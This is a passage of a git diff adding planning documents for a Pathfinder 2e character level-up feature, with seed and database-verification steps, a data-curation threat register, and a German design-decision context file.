13. **Swashbuckler Styles** (optionsRef: `'swashbuckler-style'`) — `battledancer`, `braggart`, `fencer`, `gymnast`, `wit`. Expected: 5.
|
||||
|
||||
14. **Alchemist Research Fields** (optionsRef: `'alchemist-research-field'`) — `bomber`, `chirurgeon`, `mutagenist`, `toxicologist`. **CRITICAL:** these `optionKey` values must match the existing `ResearchField` enum in `server/prisma/schema.prisma` (lowercase-kebab transformation of `BOMBER`, `CHIRURGEON`, etc.) so the existing `CharacterAlchemyState.researchField` column can be set from the option pick. Verify the enum values against the schema before appending. Expected: 4.
|
||||
|
||||
**Total entry count check:** 5 + 4 + 6 + 5 + 15 + 4 + 6 + 5 + 7 + 5 + 3 + 5 + 5 + 4 = **79 entries** added. Plus Plan 03's 1 Wizard School entry = **80 total** — comfortably above the ≥50 joint goal.
|
||||
|
||||
**Per-entry shape:**
|
||||
|
||||
```typescript
|
||||
{
|
||||
optionsRef: 'cleric-doctrine',
|
||||
optionKey: 'cloistered-cleric',
|
||||
name: 'Cloistered Cleric',
|
||||
// nameGerman omitted — TranslationsService handles on demand (D-15)
|
||||
description: 'You have devoted your life to the study of religion and the casting of divine spells…',
|
||||
grants: ['Cloistered Cleric Doctrine'],
|
||||
// proficiencyChanges optional — only set if the option modifies a proficiency level at L1 (e.g. Warpriest grants martial weapon trained)
|
||||
},
|
||||
```
|
||||
|
||||
For options with proficiency effects (e.g. **Warpriest** grants martial trained at L1):
|
||||
```typescript
|
||||
{
|
||||
optionsRef: 'cleric-doctrine',
|
||||
optionKey: 'warpriest',
|
||||
name: 'Warpriest',
|
||||
description: 'You are a martial defender of your faith…',
|
||||
grants: ['Warpriest Doctrine'],
|
||||
proficiencyChanges: { /* if a proficiency bump applies at L1, encode it here */ },
|
||||
},
|
||||
```
|
||||
|
||||
**Constraints:**
|
||||
- Append only — do NOT modify the existing Wizard School `battle-magic` entry from Plan 03.
|
||||
- `optionsRef` strings MUST match the L1_CHOICE_MAP / HIGHER_LEVEL_CHOICES values in `seed-class-progression.ts` (Plan 03 Task 4) — copy them verbatim.
|
||||
- `optionKey` values: lowercase-kebab of the option's English name. Once chosen, do not rename — these are stable identifiers persisted in CharacterFeat rows after commit.
|
||||
- Cite the AoN source URL in a comment block above each class section.
|
||||
- No `: any` outside comments.
|
||||
- Every entry must have non-empty `optionsRef`, `optionKey`, `name`, `description`, `grants` fields.
|
||||
</action>
|
||||
<verify>
|
||||
<automated>cd server && npx tsc --noEmit -p tsconfig.json 2>&1 | grep -E "class-feature-options" || echo "tsc clean"</automated>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- File `server/prisma/data/class-feature-options.ts` exists and has been extended
|
||||
- Plan 03's `battle-magic` entry is still present (unchanged)
|
||||
- Total `CLASS_FEATURE_OPTIONS.length` is at least 50 (joint goal across Plans 03 and 03b)
|
||||
- At least 13 distinct `optionsRef` values appear: `wizard-school`, `cleric-doctrine`, `champion-cause`, `druid-order`, `sorcerer-bloodline`, `bard-muse`, `barbarian-instinct`, `witch-patron`, `oracle-mystery`, `investigator-methodology`, `ranger-edge`, `rogue-racket`, `swashbuckler-style`, `alchemist-research-field`
|
||||
- For Alchemist: the four optionKey values are exactly `bomber`, `chirurgeon`, `mutagenist`, `toxicologist` (matches `ResearchField` enum lowercase-kebab — verify against `server/prisma/schema.prisma`)
|
||||
- Every entry has non-empty `optionsRef`, `optionKey`, `name`, `description`, `grants` fields (verify with a quick scan)
|
||||
- File contains NO `: any` outside comments
|
||||
- `cd server && npx tsc --noEmit` exits 0
|
||||
</acceptance_criteria>
|
||||
<done>
|
||||
Class-feature options file extended with ≥49 new entries across all 13 remaining classes (plus the rest of Wizard Schools). All optionsRef strings match seed-class-progression.ts L1_CHOICE_MAP. Alchemist optionKeys cross-validate against ResearchField enum.
|
||||
</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="false">
|
||||
<name>Task 3: Re-run the seed and verify cumulative row counts</name>
|
||||
<files>(no file writes — execution + verification only)</files>
|
||||
<read_first>
|
||||
- .planning/phases/01-level-up-pf2e-regelkonform/SEED-README.md (verify Foundry clone is in place from Plan 03 Task 5)
|
||||
- server/prisma/seed-class-progression.ts (Plan 03 — generic over D16_CLASS_NAMES + CLASS_FEATURE_OPTIONS, no changes needed)
|
||||
</read_first>
|
||||
<action>
|
||||
**Step 1 — Verify the Foundry clone is still present:**
|
||||
|
||||
```bash
|
||||
ls server/prisma/data/foundry-pf2e/packs/classes/
|
||||
```
|
||||
|
||||
Should still list ≥16 .json files from Plan 03's Task 5 step 1.
|
||||
|
||||
**Step 2 — Run the seed:**
|
||||
|
||||
```bash
|
||||
cd server && npm run db:seed:class-progression
|
||||
```
|
||||
|
||||
Expected output (Plan 03 already populated 320 ClassProgression rows + 1 ClassFeatureOption row):
|
||||
|
||||
```
|
||||
Seeding ClassProgression for 16 classes x 20 levels...
|
||||
ClassProgression: 0 created, 320 updated, 0 errors
|
||||
Seeding ~80 ClassFeatureOption rows...
|
||||
ClassFeatureOption: ~79 created, 1 updated, 0 errors
|
||||
ClassProgression + ClassFeatureOption seed complete.
|
||||
```
|
||||
|
||||
The 320 ClassProgression rows are UPDATED in place — the new spell-slot/cantrip/repertoire data from Task 1's overlay appends gets merged into the existing rows.
|
||||
|
||||
**Step 3 — Run the seed AGAIN to confirm idempotency:**
|
||||
|
||||
```bash
|
||||
cd server && npm run db:seed:class-progression
|
||||
```
|
||||
|
||||
Expected: `0 created, 320 updated, 0 errors` for both tables.
|
||||
|
||||
**Step 4 — Verify ClassProgression row counts and overlay data:**
|
||||
|
||||
```bash
|
||||
psql $DATABASE_URL -c 'SELECT "className", COUNT(*) FROM "ClassProgression" GROUP BY "className" ORDER BY "className"'
|
||||
```
|
||||
|
||||
Expected: 16 rows, each `count = 20`.
|
||||
|
||||
```bash
|
||||
psql $DATABASE_URL -c 'SELECT "className", COUNT(*) FROM "ClassProgression" WHERE "spellSlotIncrement" IS NOT NULL GROUP BY "className" ORDER BY "className"'
|
||||
```
|
||||
|
||||
Expected: rows for `Bard`, `Cleric`, `Druid`, `Oracle`, `Sorcerer`, `Witch`, `Wizard` (no `Champion` since it's focus-only; no non-casters). Each caster should have ≥18 rows.
|
||||
|
||||
```bash
|
||||
psql $DATABASE_URL -c 'SELECT "className", COUNT(*) FROM "ClassProgression" WHERE "repertoireIncrement" IS NOT NULL GROUP BY "className" ORDER BY "className"'
|
||||
```
|
||||
|
||||
Expected: rows for `Bard`, `Sorcerer`, `Oracle` (the three spontaneous casters per D-18).
|
||||
|
||||
**Step 5 — Verify ClassFeatureOption row counts:**
|
||||
|
||||
```bash
|
||||
psql $DATABASE_URL -c 'SELECT "optionsRef", COUNT(*) FROM "ClassFeatureOption" GROUP BY "optionsRef" ORDER BY "optionsRef"'
|
||||
```
|
||||
|
||||
Expected: at least 13 distinct `optionsRef` values (one per class with an L1 choice point), each with ≥2 options. Total row count ≥50.
|
||||
|
||||
**Step 6 — Cross-reference verification (optional but recommended):**
|
||||
|
||||
```bash
|
||||
# Every choiceOptionsRef in ClassProgression should have at least one matching ClassFeatureOption
|
||||
psql $DATABASE_URL -c '
|
||||
SELECT cp."choiceOptionsRef", COUNT(cfo.id) AS option_count
|
||||
FROM "ClassProgression" cp
|
||||
LEFT JOIN "ClassFeatureOption" cfo ON cfo."optionsRef" = cp."choiceOptionsRef"
|
||||
WHERE cp."choiceOptionsRef" IS NOT NULL
|
||||
GROUP BY cp."choiceOptionsRef"
|
||||
ORDER BY cp."choiceOptionsRef"
|
||||
'
|
||||
```
|
||||
|
||||
Expected: every `choiceOptionsRef` row has `option_count >= 1`. If any has 0, a class chose a choiceType but no options exist — append the missing options to class-feature-options.ts and re-run the seed.
|
||||
|
||||
If any verification step fails, fix the curation data and re-run.
|
||||
</action>
|
||||
<verify>
|
||||
<automated>cd server && psql $DATABASE_URL -t -c 'SELECT COUNT(*) FROM "ClassFeatureOption"' | tr -d ' \n'</automated>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `cd server && npm run db:seed:class-progression` exits 0
|
||||
- First Plan 03b run reports `0 created, 320 updated` for ClassProgression (Plan 03 already created the rows; Plan 03b updates them with new overlay data)
|
||||
- First Plan 03b run reports `≥49 created` for ClassFeatureOption (joint with Plan 03's 1 entry → ≥50 total)
|
||||
- Second run reports `0 created, ≥320 updated` for ClassProgression and `0 created, ≥50 updated` for ClassFeatureOption (idempotency)
|
||||
- `psql $DATABASE_URL -t -c 'SELECT COUNT(*) FROM "ClassFeatureOption"'` outputs at least 50
|
||||
- `psql $DATABASE_URL -t -c 'SELECT COUNT(DISTINCT "optionsRef") FROM "ClassFeatureOption"'` outputs at least 13
|
||||
- For all 7 caster classes (Bard, Cleric, Druid, Oracle, Sorcerer, Witch, Wizard): the count of ClassProgression rows with non-null spellSlotIncrement is ≥18
|
||||
- For Bard, Sorcerer, Oracle: count of ClassProgression rows with non-null repertoireIncrement is ≥1 (D-18)
|
||||
- Every `choiceOptionsRef` declared on a ClassProgression row has at least one matching ClassFeatureOption row (cross-reference query passes)
|
||||
</acceptance_criteria>
|
||||
<done>
|
||||
Seed re-run succeeds; full dataset of ≥320 ClassProgression rows (with overlay data merged for all casters) and ≥50 ClassFeatureOption rows is present in the DB; idempotency holds; cross-references intact. Plan 04 can rely on the complete dataset for any (className, level) recompute.
|
||||
</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| dev-shell → seed script | Same boundary as Plan 03 — developer runs the seed with DB write privilege. |
|
||||
| Hand-curated data → DB | Curation can have transcription errors (wrong slot count, typo'd optionKey). |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|-------------|-----------------|
|
||||
| T-1-W2b-01 | Tampering | Hand-curation transcription error (e.g. wrong slot count for Bard L5) | mitigate | Plan 04's integration tests assert ClassProgression-driven recompute results for Wizard L1 + at least one spontaneous caster. Bugs surface there. Curator double-checks against AoN before committing. |
|
||||
| T-1-W2b-02 | Tampering | Stable optionKey is renamed after persist (orphaning CharacterFeat rows) | mitigate | This task's acceptance criteria + the comment in Plan 03's class-feature-options.ts both flag optionKey as stable; once committed in production, optionKey changes require a migration. Plan 04 LVL-V2-02 (reverse-level-up) will exercise the read path. |
|
||||
| T-1-W2b-03 | Information Disclosure | (No new exposure beyond Plan 03's accept disposition.) | accept | Same trust model as Plan 03 — self-hosted single-tenant. |
|
||||
| T-1-W2b-04 | Repudiation | Curated data quality drift over time (e.g. Witch tradition changes in a remaster) | mitigate | The Witch / Sorcerer "tradition depends on patron/bloodline" caveats are documented inline; recompute pipeline (Plan 04) treats the overlay as a starting point and may remap at commit. Phase 1 accepts the default. |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
After Tasks 1-3 complete:
|
||||
|
||||
```bash
|
||||
# Type-check clean (no shape changes; just data appends)
|
||||
cd server && npx tsc --noEmit -p tsconfig.json
|
||||
|
||||
# Idempotency check
|
||||
cd server && npm run db:seed:class-progression && npm run db:seed:class-progression
|
||||
|
||||
# Joint row counts after both Plan 03 and Plan 03b
|
||||
psql $DATABASE_URL -c 'SELECT COUNT(*) FROM "ClassProgression"' # >= 320
|
||||
psql $DATABASE_URL -c 'SELECT COUNT(*) FROM "ClassFeatureOption"' # >= 50
|
||||
|
||||
# Caster verification
|
||||
psql $DATABASE_URL -c 'SELECT className, COUNT(*) FROM "ClassProgression" WHERE "spellSlotIncrement" IS NOT NULL GROUP BY className'
|
||||
# Expected: 7 rows (Bard, Cleric, Druid, Oracle, Sorcerer, Witch, Wizard), each count >= 18
|
||||
|
||||
# Spontaneous caster repertoire (D-18)
|
||||
psql $DATABASE_URL -c 'SELECT className, COUNT(*) FROM "ClassProgression" WHERE "repertoireIncrement" IS NOT NULL GROUP BY className'
|
||||
# Expected: 3 rows (Bard, Sorcerer, Oracle), each count >= 1
|
||||
|
||||
# Cross-reference integrity
|
||||
psql $DATABASE_URL -c '
|
||||
SELECT cp."choiceOptionsRef", COUNT(cfo.id)
|
||||
FROM "ClassProgression" cp
|
||||
LEFT JOIN "ClassFeatureOption" cfo ON cfo."optionsRef" = cp."choiceOptionsRef"
|
||||
WHERE cp."choiceOptionsRef" IS NOT NULL
|
||||
GROUP BY cp."choiceOptionsRef"
|
||||
HAVING COUNT(cfo.id) = 0
|
||||
'
|
||||
# Expected: empty result (no orphaned choiceOptionsRef)
|
||||
```
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- spell-slot-overlays.ts has curated entries for Cleric, Druid, Witch, Bard, Sorcerer, Oracle (≥18 entries each, ≥120 total beyond Wizard); Champion remains minimal/empty per design; non-casters confirmed empty
|
||||
- class-feature-options.ts has ≥50 total entries (Plan 03's 1 + Plan 03b's ≥49) across ≥13 distinct optionsRef values
|
||||
- Re-running the seed bulk-updates the database without touching the seed script
|
||||
- Idempotency holds — second run reports 0 created
|
||||
- All cross-references intact: every choiceOptionsRef in ClassProgression has at least one matching ClassFeatureOption
|
||||
- Plan 04 LevelingService can recompute correctly for any of the 16 D-16 classes at any level 1..20
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
After completion, create `.planning/phases/01-level-up-pf2e-regelkonform/01-03b-SUMMARY.md` documenting:
|
||||
- Final cumulative row counts (ClassProgression by className + total; ClassFeatureOption by optionsRef + total)
|
||||
- Any deviations from the planned overlay contents (e.g. Witch tradition default, Sorcerer bloodline default)
|
||||
- Any classes/levels where AoN data was ambiguous and a documented choice was made
|
||||
- Confirmation idempotency observed on second run
|
||||
- Confirmation cross-reference integrity check passed
|
||||
</output>
|
||||
2211
.planning/phases/01-level-up-pf2e-regelkonform/01-04-PLAN.md
Normal file
2211
.planning/phases/01-level-up-pf2e-regelkonform/01-04-PLAN.md
Normal file
File diff suppressed because it is too large
Load Diff
1587
.planning/phases/01-level-up-pf2e-regelkonform/01-05-PLAN.md
Normal file
1587
.planning/phases/01-level-up-pf2e-regelkonform/01-05-PLAN.md
Normal file
File diff suppressed because it is too large
Load Diff
159
.planning/phases/01-level-up-pf2e-regelkonform/01-CONTEXT.md
Normal file
159
.planning/phases/01-level-up-pf2e-regelkonform/01-CONTEXT.md
Normal file
@@ -0,0 +1,159 @@
|
||||
# Phase 1: Level-Up (PF2e regelkonform) - Context
|
||||
|
||||
**Gathered:** 2026-04-27
|
||||
**Status:** Ready for planning
|
||||
|
||||
<domain>
|
||||
## Phase Boundary
|
||||
|
||||
Charakter steigt im Wizard regelkonform mit allen sechs Wahlachsen auf (Boost, Klassentalent, Fertigkeitstalent, Allgemein-Talent, Skill-Increase, Ancestry-Talent, Klassenmerkmal). Voraussetzungen werden geprüft, abgeleitete Werte (HP-Max, Saves, AC, Klassen-DC, Wahrnehmung) werden automatisch neu berechnet, bestätigtes Level-Up ist atomar persistiert mit Snapshot-Vorher-Historie. Free-Archetype-Variante und Spellcaster-Slot-/Cantrip-/Repertoire-Progression sind eingeschlossen.
|
||||
|
||||
**Außerhalb der Phase:** Level-Up-Historie-Ansicht (UI), Reverse-Level-Up, neue Klassen über Core+APG hinaus, Multi-Classing.
|
||||
|
||||
</domain>
|
||||
|
||||
<decisions>
|
||||
## Implementation Decisions
|
||||
|
||||
### Prereq-DSL-Scope (LVL-09)
|
||||
- **D-01:** Evaluierbare Patterns: Skill-Rang (Trained/Expert/Master/Legendary in named skill), Feat-Besitz (named feat), Level, Klasse, Ancestry, Heritage. Ergibt laut Research ~80%+ Coverage gängiger Feats.
|
||||
- **D-02:** Nicht-evaluierbar (→ Warnung): Deity, Spellcasting-Tradition, Multi-Class-Archetyp-Sonderfälle, Free-Text-Bedingungen wie "You worship a god of...".
|
||||
- **D-03:** UI bei nicht-evaluierbarer Prereq: gelbes Warn-Icon mit Tooltip am Talent + Confirm-Dialog mit dem Voraussetzungs-Text beim "Wählen"-Klick (kein Hard-Block — bestätigt das bereits in REQUIREMENTS festgelegte "Warnung statt Block").
|
||||
- **D-04:** Datenquelle der Prereq-Strings: bestehende `Feat.prerequisites: String?`-Spalte (existiert bereits in `server/prisma/schema.prisma:560` — keine Migration für Feld-Erweiterung nötig).
|
||||
- **D-05:** Evaluator läuft im Wizard UND beim Pathbuilder-Import.
|
||||
- **D-06:** Bei Import-Verletzung: Import läuft durch, Charakter wird angelegt, Banner am Charakter-Header zeigt "X Talente mit nicht erfüllter Voraussetzung" mit Liste. Kein Block.
|
||||
|
||||
### Free-Archetype-Regel (LVL-13)
|
||||
- **D-07:** Pathbuilder-Verhalten nach Dedication: Slot zeigt Talente JEDES Archetyps (Multi-Archetype erlaubt). Vor Dedication: Slot zeigt nur Dedication-Talente.
|
||||
- **D-08:** Toggle-Storage: pro Charakter in den Char-Settings (einmal setzen, gilt für alle künftigen Level-Ups). Wizard-Schritt 0 zeigt eine Lese-Anzeige des Toggle-Status.
|
||||
- **D-09:** Pathbuilder-Auto-Detect: FA-Toggle wird beim Import automatisch auf "aktiv" gesetzt, wenn Pathbuilder-JSON FA-Marker oder zusätzliche Class-Feat-Slots an geraden Levels enthält. Spieler kann nachträglich ändern.
|
||||
|
||||
### Wizard-Flow + DRAFT-Persistenz (LVL-11, LVL-12)
|
||||
- **D-10:** Step-by-Step-Modal mit dynamisch eingeblendeten Schritten (nur die für das Level relevanten). Reihenfolge: Klassenmerkmale → Boost-Set (L5/10/15/20) → Skill-Increase (L3+) → Klassentalent (gerade Level) → Fertigkeitstalent (gerade Level) → Allgemein-Talent (3/7/11/15/19) → Ancestry-Talent (5/9/13/17) → FA-Slot (wenn aktiv) → Spellcaster-Progression → Review. Mobile-friendly (ein Wahlpunkt pro Screen).
|
||||
- **D-11:** DRAFT-Persistenz: neue Prisma-Tabelle `LevelUpSession` mit FK auf Charakter, JSON-State der Wahlen, `committedAt` nullable, optional `targetLevel`. Resume-on-Reload, Cross-Device.
|
||||
- **D-12:** Live-Vorschau: nur im Review-Schritt. Vorher/Nachher-Werte für HP-Max, Saves, AC, Klassen-DC, Wahrnehmung gegenübergestellt. KEIN Live-Update pro Schritt (vermeidet Per-PATCH-Recompute-Last und Inkonsistenzen).
|
||||
- **D-13:** Permissions: Owner UND GM der Kampagne dürfen Level-Up starten. Konsistent mit bestehendem `checkCharacterAccess`-Pattern (`server/src/modules/characters/characters.service.ts`).
|
||||
- **D-14:** Offene DRAFTs ohne Commit: bleiben unbegrenzt offen. Beim nächsten Wizard-Aufruf zeigt UI "Du hast eine offene Stufenaufstiegs-Session — fortsetzen oder verwerfen?". Ein DRAFT pro Charakter (Constraint).
|
||||
|
||||
### Klassen+Spellcaster-Daten (LVL-08, LVL-14)
|
||||
- **D-15:** Neue Prisma-Tabelle `ClassProgression` mit Einträgen pro `(className, level)`. Felder mindestens: `grants: String[]` (z.B. "Bravery", "WeaponSpecialization"), `proficiencyChanges: Json` (Save/AC/Skill-Stufen-Änderungen), `spellSlotIncrement: Json?` (`{tradition, spellLevel, count}`), `cantripIncrement: Int?`, `repertoireIncrement: Int?`, `choiceType: String?` (z.B. "pickFromList") + `choiceOptionsRef: String?` für Wahl-Klassenmerkmale.
|
||||
- **D-16:** Class-Scope v1: alle Core-Rulebook + APG Klassen (Alchemist, Barbarian, Bard, Champion, Cleric, Druid, Fighter, Investigator, Monk, Oracle, Ranger, Rogue, Sorcerer, Swashbuckler, Witch, Wizard). Remaster-Klassen sind v2.
|
||||
- **D-17:** Datenquelle für Seed: Foundry PF2e-System Repository (`https://github.com/foundryvtt/pf2e`) als Quelle. TS-Seed-Script (`server/prisma/seed-class-progression.ts`) clonet/checkt das Repo und transformiert die JSONs in das `ClassProgression`-Schema. Lizenz: ORC / Paizo Community Use Policy.
|
||||
- **D-18:** Spellcaster-Repertoire-Increment (LVL-14, spontane Caster wie Bard, Sorcerer, Oracle): eigener Wizard-Schritt. Slot-Increment ist automatisch nach Klasse/Level (kein User-Eingriff). Repertoire-Wahl filtert nach Tradition + bekannten Spell-Levels.
|
||||
- **D-19:** Wahl-Klassenmerkmale (Cleric Doctrine, Wizard School, Fighter Weapon Mastery, etc.): Wizard erkennt `choiceType` im ClassProgression-Eintrag und schiebt einen dynamischen Sub-Schritt ein. Volle Regelkonformität — Charakter ist nach Commit "fertig".
|
||||
|
||||
### Carrying Forward (bereits in REQUIREMENTS / ROADMAP / PROJECT festgelegt)
|
||||
- LVL-09: Warnung statt Hard-Block (REQUIREMENTS — bestätigt in D-03)
|
||||
- LVL-12: Atomare Prisma-Transaktion + JSON-Snapshot-Vorher in Historieneintrag (REQUIREMENTS)
|
||||
- LVL-15: Translation-Pipeline = bestehender Claude-API + DB-Cache via `Translation`-Tabelle (REQUIREMENTS)
|
||||
- WebSocket: neuer `level_up_committed`-Type ergänzt das `CharacterUpdatePayload['type']`-Union (`server/src/modules/characters/characters.gateway.ts:24`). Single Broadcast nach Commit (nicht mehrere kleine Updates während Recompute) — Pattern für Folge-Phasen (ROADMAP First-Phase-Note).
|
||||
- Test-Disziplin: reine Funktionen (Boost-Cap-bei-18, Skill-Increase-Cap, Prereq-Evaluator, Recompute-Formeln) bekommen Jest-Unit-Tests. Phase 1 etabliert das Pattern; Folge-Phasen erben es (ROADMAP First-Phase-Note).
|
||||
- TypeScript strict, keine `any`, German UI, mobile-first, Prisma `migrate dev` (CLAUDE.md / PROJECT.md)
|
||||
|
||||
### Claude's Discretion
|
||||
- Konkretes UI-Layout des Step-by-Step-Modals (Header, Footer-Buttons, Progress-Indicator)
|
||||
- Konkrete Spaltenstruktur des Review-Schritts (Tabelle vs. zwei Spalten)
|
||||
- DRAFT-API-Endpoint-Naming (`POST /characters/:id/level-up`, `PATCH /level-up/:sessionId`, `POST /level-up/:sessionId/commit`, `DELETE /level-up/:sessionId`) — Konvention folgt bestehenden CharacterController-Endpoints
|
||||
- JSON-Format des Snapshot-Vorher (vorgeschlagen: voller Character + Relations-Subset)
|
||||
- Genaue Error-Messages auf Deutsch (z.B. bei Prereq-Confirm, bei Boost-Cap-Hit)
|
||||
- Test-Granularität (mindestens: Boost-Cap-Logik, Skill-Increase-Cap, Prereq-Evaluator pro Pattern; integration-test für Commit-Transaktion)
|
||||
|
||||
</decisions>
|
||||
|
||||
<canonical_refs>
|
||||
## Canonical References
|
||||
|
||||
**Downstream agents MUST read these before planning or implementing.**
|
||||
|
||||
### Requirements & Roadmap
|
||||
- `.planning/REQUIREMENTS.md` §Level-Up — alle 15 LVL-Anforderungen (LVL-01..LVL-15) mit Akzeptanzkriterien
|
||||
- `.planning/ROADMAP.md` §Phase 1 — Goal, Success Criteria, Spike Required (Prereq-DSL-Scope, Free-Archetype), First-Phase-Note (Test-Disziplin, WebSocket-Channel-Trennung)
|
||||
- `.planning/PROJECT.md` §Constraints — TypeScript strict, German UI, Prisma migrations only, no `any`
|
||||
|
||||
### Research
|
||||
- `.planning/research/SUMMARY.md` §Phase A — Open Questions, Mitigationen, Pitfalls #8/#9/#10/#11
|
||||
- `.planning/research/FEATURES.md` §PF2e-Specific Complexity Notes (Level-Up) — sechs Wahlachsen, Boost-Cap-bei-18, Free-Archetype-Variant, Skill-Increase-Caps, Class-Progression-Variabilität
|
||||
- `.planning/research/PITFALLS.md` §Pitfall 8 boost-cap-at-18, §Pitfall 9 recompute side effects, §Pitfall 10 feat retrain orphans, §Pitfall 11 skill-increase history
|
||||
|
||||
### Codebase Maps
|
||||
- `.planning/codebase/ARCHITECTURE.md` — NestJS Module-per-Feature, WebSocket-Gateway-Pattern, Service-Layer-Pattern
|
||||
- `.planning/codebase/STRUCTURE.md` — `server/src/modules/*` und `client/src/features/*` Konventionen
|
||||
- `.planning/codebase/CONVENTIONS.md` — Naming (kebab-case Files, camelCase Funktionen), DTOs, Error-Handling
|
||||
- `.planning/codebase/TESTING.md` — Jest-Setup vorhanden, null Tests heute. Test-Spec-Pattern `*.spec.ts`
|
||||
|
||||
### Live Code (Touch Points)
|
||||
- `server/prisma/schema.prisma:171` — `Character`-Modell (level, hpMax, ancestryId, classId)
|
||||
- `server/prisma/schema.prisma:222` — `CharacterAbility` (Boost-Ziele)
|
||||
- `server/prisma/schema.prisma:233` — `CharacterFeat` (Talent-Slots, source: Klasse/Ancestry/Allgemein/Fertigkeit/Bonus/Archetyp)
|
||||
- `server/prisma/schema.prisma:246` — `CharacterSkill` (Proficiency-Stufen)
|
||||
- `server/prisma/schema.prisma:257` — `CharacterSpell` (Repertoire/Vorbereitung)
|
||||
- `server/prisma/schema.prisma:544` — `Feat` mit `prerequisites: String?` (existiert)
|
||||
- `server/src/modules/characters/characters.service.ts` — `checkCharacterAccess`-Pattern, Service-Methoden
|
||||
- `server/src/modules/characters/characters.gateway.ts:22-26` — `CharacterUpdatePayload`-Union (Erweiterung um `level_up_committed`)
|
||||
- `server/src/modules/characters/pathbuilder-import.service.ts` — Touch-Point für Prereq-Validation beim Import
|
||||
- `server/prisma/migrations/` — bestehende Migrationen, Naming-Konvention `YYYYMMDDHHMMSS_description`
|
||||
|
||||
### External (PF2e Domain)
|
||||
- Archives of Nethys: Leveling Up `https://2e.aonprd.com/Rules.aspx?ID=2065`
|
||||
- Archives of Nethys: Ability Boosts `https://2e.aonprd.com/Rules.aspx?ID=75`
|
||||
- Archives of Nethys: Skill Increases `https://2e.aonprd.com/Rules.aspx?ID=2109`
|
||||
- Archives of Nethys: Free Archetype `https://2e.aonprd.com/Rules.aspx?ID=2751`
|
||||
- Foundry PF2e-System Repository (Datenquelle für ClassProgression-Seed): `https://github.com/foundryvtt/pf2e`
|
||||
|
||||
</canonical_refs>
|
||||
|
||||
<code_context>
|
||||
## Existing Code Insights
|
||||
|
||||
### Reusable Assets
|
||||
- `Character`, `CharacterAbility`, `CharacterFeat`, `CharacterSkill`, `CharacterSpell`-Modelle decken die Datenstruktur für Level-Up-Targets ab — kein neues Charakter-Schema nötig.
|
||||
- `Feat.prerequisites: String?` existiert bereits — der Prereq-DSL-Evaluator parst diese Strings, keine Schema-Migration für das Feld.
|
||||
- `Translation`-Tabelle + `@anthropic-ai/sdk`-Pipeline sind etabliert — neue Talent-Voraussetzungs-Texte und Klassenmerkmal-Beschreibungen laufen durch die bestehende Cache.
|
||||
- `CharactersService.checkCharacterAccess` (Owner OR GM-of-campaign) ist die Permission-Vorlage für die neuen LevelUp-Endpoints.
|
||||
- `CharactersGateway.broadcast()` mit `CharacterUpdatePayload` ist der WebSocket-Vorlauf — `level_up_committed` wird einfach im `type`-Union ergänzt.
|
||||
- Jest 30.x ist im `server/package.json` konfiguriert (`testRegex: ".*\\.spec\\.ts$"`) — Test-Files werden alongside Source angelegt (`server/src/modules/leveling/*.spec.ts`).
|
||||
|
||||
### Established Patterns
|
||||
- **Atomic Prisma Transaction** mit `prisma.$transaction([...])` für mehrere Mutations — anwendbar für Commit (Snapshot + Mutationen + History-Eintrag).
|
||||
- **NestJS Module-per-Feature**: neuer `LevelingModule` unter `server/src/modules/leveling/` (Service + Controller + DTOs). Wizard-API geht über REST, NICHT über WebSocket. WebSocket-Broadcast nur als Side-Effect des Commit-Endpoints.
|
||||
- **Mobile-first Modal-Pattern**: `rounded-t-2xl sm:rounded-2xl` (Bottom-Sheet auf Mobile, zentriert auf Desktop) — wie in bestehenden Charakter-Modals.
|
||||
- **DTO-Validation**: class-validator-Decorators in `server/src/modules/leveling/dto/*.dto.ts` (Pattern siehe `characters/dto/`).
|
||||
|
||||
### Integration Points
|
||||
- `client/src/features/characters/components/character-sheet-page.tsx` bekommt einen "Stufe steigen"-Button (im Header oder Status-Tab).
|
||||
- `client/src/features/characters/components/level-up-wizard.tsx` (NEU) — Modal-Komponente mit Step-State, importiert kebab-case-konform.
|
||||
- `server/src/modules/characters/pathbuilder-import.service.ts` ruft den neuen `PrereqEvaluatorService` während des Imports auf und sammelt Verletzungen für das Banner.
|
||||
- `server/src/app.module.ts` registriert `LevelingModule`.
|
||||
- Neue Prisma-Migration: `add_level_up_sessions_and_class_progression` (kombiniert beide neuen Tabellen oder zwei Migrationen — Discretion des Planners).
|
||||
|
||||
### Cross-Cutting (von ROADMAP First-Phase-Note)
|
||||
- **Test-Net wird in dieser Phase aufgesetzt** und für reine Funktionen in allen Folge-Phasen weitergeführt. Erste Tests: `apply-attribute-boost.spec.ts` (Cap-bei-18), `skill-increase-cap.spec.ts`, `prereq-evaluator.spec.ts`, `recompute-derived-stats.spec.ts`.
|
||||
- **WebSocket-Channel-Trennung**: `level_up_committed` als sauberer neuer Kanal-Type. Atomare Transaktion + ein einziger Broadcast (statt mehrerer kleiner Updates) — gleiches Muster wird in Phase 4 (Dice-Gateway), Phase 5 (Battle-Sub-Rooms), Phase 6 (GM-Live-Tools-Audit) angewandt.
|
||||
|
||||
</code_context>
|
||||
|
||||
<specifics>
|
||||
## Specific Ideas
|
||||
|
||||
- Der Wizard imitiert das Pathbuilder-Verhalten so weit wie möglich, weil die Gruppe Pathbuilder gewohnt ist (Free-Archetype Multi-Archetype nach Dedication, Toggle pro Charakter, Auto-Detect aus Import).
|
||||
- Foundry PF2e-System ist die bevorzugte Datenquelle für PF2e-Regeldaten (klar parsebar, ORC-lizenziert, aktiv gepflegt) — gilt auch als Vorlage für künftige PF2e-Daten-Phasen.
|
||||
- Banner-Pattern für nachträgliche Validation-Verletzungen ist neu, aber dem Pitfall #10 (feat retrain orphans) gegenüber robust.
|
||||
|
||||
</specifics>
|
||||
|
||||
<deferred>
|
||||
## Deferred Ideas
|
||||
|
||||
- **Level-up-Historie-Ansicht im Charakterbogen** — auf v2 verschoben (LVL-V2-01 in REQUIREMENTS)
|
||||
